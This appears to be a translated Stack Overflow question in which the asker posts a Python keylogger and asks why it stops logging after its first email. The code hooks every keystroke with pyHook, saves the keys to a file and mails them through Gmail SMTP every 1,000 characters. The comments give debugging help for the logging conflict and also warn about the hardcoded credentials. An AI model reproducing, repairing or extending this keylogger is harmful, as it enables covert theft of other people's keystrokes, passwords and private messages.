【发布时间】:2012-07-31 09:08:21
【问题描述】:
我正在研究简单的键盘记录器 -
import logging, sys, smtplib, pyHook, pythoncom, socket
path = r"C:\Users\Karel\Desktop\log.txt"
logging.basicConfig(filename=path, level=logging.DEBUG, format="%(message)s")
server = smtplib.SMTP("smtp.gmail.com:587")
server.starttls()
server.login("xxx","xxx")
def OnKeyboardEvent(event):
print "Key: ", chr(event.Ascii)
logging.log(10,chr(event.Ascii))
checklog()
return True
def checklog():
f = open(path, "r")
x = f.read()
if len(x) == 1000:
server.sendmail("xxx@gmail.com", "xxxn@gmail.com", x)
f.close()
f = open(path,"w")
f.close()
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
当文件长度为 1000 时,应将日志保存到文件并发送到电子邮件。然后清除日志,当长度为 1000 时再次发送邮件等。但是此代码不起作用,文件以 1000 发送,已清除,但是不再登录。问题出在哪里?谢谢
【问题讨论】:
-
logging模块处理path处的文件。如果您手动打开和关闭文件,日志记录会变得混乱。 -
不要将电子邮件和密码放在代码中。顺便说一句,我很好奇,通过电子邮件发送日志的键盘记录器的有效性如何。
-
您应该更改您的电子邮件密码,如果之前的密码是您的真实密码。
-
改用翻转功能(RotatingFileHandler):stackoverflow.com/questions/6167587/….
-
还有没有其他方法可以在没有 RotatingFileHandler 的情况下解决这个问题?